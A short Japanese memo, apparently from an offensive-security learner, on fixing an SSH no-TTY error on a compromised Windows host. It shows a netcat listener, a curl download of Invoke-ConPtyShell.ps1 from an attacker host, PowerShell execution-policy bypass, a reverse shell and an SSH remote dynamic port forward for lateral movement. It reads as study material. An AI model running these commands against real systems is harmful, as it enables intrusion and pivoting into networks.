Windowsでpseudo-terminal will not be allocated because stdin is not a terminalエラーが出た時の対処法のメモ。
この数か月offensive securityの勉強をしているのだが、Windowsマシンを掌握した後に攻撃マシンに対してSSH Remote Dynamic Port Forwardingを張ろうとしたところ、先述のエラーに遭遇してしまい、ハマってしまった。
以下、詳細と対策。
impacketやMSFvenomで標的のWindowsマシンに接続し、更なる内部ネットワークへの横展開のために以下のコマンドを実行して、SSH Remote Dynamic Port Forwardingを設定しようとした。
ssh -N -R 9998 username@$ATTACKER_HOST
しかし、パスワードを入力するためのプロンプトが起動せず、ポート転送ができなかった。
攻撃マシン側でnetstat
を叩いたところ、標的マシンから攻撃マシンの22番ポート (SSH)への接続は確認できたので、ファイヤーウォール等で通信がブロックされているわけでは無さそうだった。
次に攻撃マシンへ普通にSSH接続できるか試してみた。
ssh username@$ATTACKER_HOST
すると、pseudo-terminal will not be allocated because stdin is not a terminalというエラーメッセージが表示され、パスワードを入力するためのプロンプトが起動しなかった。
"windows shell tty"でググってみたところ、ConPtyShellを使って完全な対話シェルを張る方法を見つけた。結論から言うと、ConPtyShellで標的マシンから攻撃マシンへシェルを張ることで解決できた。
まず、攻撃マシンで以下のコマンドを実行して、接続を待ち受け。
stty raw -echo; (stty size; cat) | nc -lvnp $PORT
続いて標的マシンにConPtyShellを仕込んで、攻撃マシンに接続する。
curl http://$ATTACKER_HOST/Invoke-ConPtyShell.ps1 -o Invoke-ConPtyShell.ps1
powershell -ep bypass
import-module .\Invoke-ConPtyShell.ps1
Invoke-ConPtyShell $ATTACKER_HOST $PORT
すると、攻撃マシン側でシェルが起動する。
最後に以下のSSHコマンドを実行したところ、無事パスワードを入力するためのプロンプトが現れて、ポート転送できた。
C:\fullpath\to\ssh.exe -N -R 9998 username@$ATTACKER_HOST
※フルパスを指定しないと、SSHコマンドを実行できなかった。(環境によるのかも?)